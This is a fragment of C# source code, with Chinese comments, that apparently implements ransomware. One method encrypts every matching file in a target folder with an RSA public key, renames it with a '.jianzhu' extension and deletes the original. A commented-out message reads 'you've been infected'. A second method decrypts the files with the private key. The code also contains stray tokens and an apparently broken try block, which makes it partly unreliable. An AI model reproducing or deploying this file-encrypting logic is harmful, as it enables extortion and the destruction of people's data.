public void jie2() //RSA非对称算法解密文件 { RSACryptoServiceProvider rsa = new RSACryptoServiceProvider(1024); //将私钥导入RSA中,准备解密; rsa.FromXmlString(PrivateKey); //对数据进行解密,并返回解密结果; //List<string> j = new List<string>(); this.j = GetFiles(path2, pattern); // MessageBox.Show((j.Count).ToString()); // File.Delete(j[0]); if (j.Count != 0) { for (int i = 0; i < j.Count; i++) { //byte[] b = File.ReadAllBytes(j[i]); //MessageBox.Show((b.Length).ToString()); //byte[] c = this.Encrypt(b, "eeeeewedfwef"); //File.WriteAllBytes(j[i] + ".jianzhu", c); //File.Delete(j[i]); // Random random = new Random(); // File.WriteAllText(j[i], random.Next().ToString()); //FileStream file1 = new FileStream(j[i] + ".jianzhu", FileMode.CreateNew, FileAccess.Write); //file1.Write(c, 0, c.Length);//写入二进制 //file1.Dispose(); //byte[] d = File.ReadAllBytes(j[i] + ".jianzhu");25651196 byte[] d = File.ReadAllBytes(j[i]); try { string niuyifan = Convert.ToBase64String(d); string ee = RSADecryptEncrypt.Decrypt(PrivateKey, niuyifan); byte[] e = Convert.FromBase64String(ee); // File.WriteAllBytes(j[i] + ".jianzhujie", e); File.WriteAllBytes((j[i]).Replace(".jianzhu", ""), e); File.Delete(j[i]); } catch { File.WriteAllBytes((j[i]).Replace(".jianzhu", ""), d); File.Delete(j[i]); } } // MessageBox.Show("解密成功"); MessageBox.Show("解密成功", "", MessageBoxButtons.OK, MessageBoxIcon.None, MessageBoxDefaultButton.Button1, MessageBoxOptions.ServiceNotification); } }
public void Fu2() //用RSA算法非对称加密文件 { RSACryptoServiceProvider rsa = new RSACryptoServiceProvider(1024); //将公钥导入到RSA对象中,准备加密; rsa.FromXmlString(PublicKey); //对数据data进行加密,并返回加密结果; //第二个参数用来选择Padding的格式 //return buffer; //List<string> j = new List<string>(); PrivateKey.xml this.j = GetFiles(path2, pattern); // MessageBox.Show((j.Count).ToString()); // File.Delete(j[0]); if (j.Count != 0) { for (int i = 0; i < j.Count; i++) { byte[] b = File.ReadAllBytes(j[i]); if (b.Length <= 9651196) { try { string niuyifan = Convert.ToBase64String(b); string cc = RSADecryptEncrypt.Encrypt(PublicKey, niuyifan); byte[] c = Convert.FromBase64String(cc); File.WriteAllBytes(j[i] + ".jianzhu", c); // MessageBox.Show((c.Length).ToString()); File.Delete(j[i]); // } catch { } } // Random random = new Random(); //File.Delete(j[i]); // File.WriteAllText(j[i], random.Next().ToString()); //FileStream file1 = new FileStream(j[i] + ".jianzhu", FileMode.CreateNew, FileAccess.Write); //file1.Write(c, 0, c.Length);//写入二进制 //file1.Dispose(); //byte[] d = File.ReadAllBytes(j[i] + ".jianzhu"); // byte[] e = this.Decrypt(d, "eeeeewedfwef"); // File.WriteAllBytes(j[i] + ".jianzhujie", e); } } Form1 f = new Form1(); // MessageBox.Show("你中毒了"); Control.CheckForIllegalCrossThreadCalls = false; f.AllowDrop = false; f.ShowDialog(); }